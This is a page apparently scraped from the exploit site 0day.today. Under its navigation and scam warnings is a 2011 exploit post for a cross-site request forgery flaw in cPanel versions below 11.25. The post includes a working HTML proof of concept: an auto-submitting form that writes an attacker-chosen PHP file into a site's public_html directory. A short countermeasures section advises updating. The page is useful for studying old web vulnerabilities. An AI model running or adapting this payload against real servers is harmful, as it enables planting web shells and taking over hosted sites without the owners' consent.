0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
cPanel < 11.25 CSRF - Add User php Script
[# Exploit Title: cPanel < 11.25 CSRF - Add php script # Date: 27.05.2011 # Author: ninjashell # Software Link: http://cpanel.net # Version: 11.25 (see details below) # Tested on: Linux # CVE : N/A I. Introduction cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well. II. Proof of concept (PoC) <html> <form name="editform" action=" http://localhost:2082/frontend/x3/err/savefile.html" method=POST onSubmit="return loadfdata();"> <input type="hidden" id="codepage" class="codepress html" name="page" value="<?php echo 'ninjashell'; ?>"> <input type="hidden" name="domain" value="localhost"> <input type="hidden" value="public_html/" name="dir"> <input type="hidden" value="ninjashell.php" name="file"> <body onload="document.forms.editform.submit();"> </form> </html> Afterwards simply check for ninjashell.php in the directory. III. Counter-measures All cPanel versions starting from 11.25 and above have two in-built security features to prevent such attacks - security tokens and referrer security check. This means that if you are a cpanel client, you should update your software. IV. About the author. - Ethical hacker; - Freelance security consultant/penetration tester; - Security researcher in the spare time; - Over 12 years of experience; You can always email me ninjashellmail@gmail.com or follow me on twitter @ninjashell1337 # 0day.today [2024-11-16] #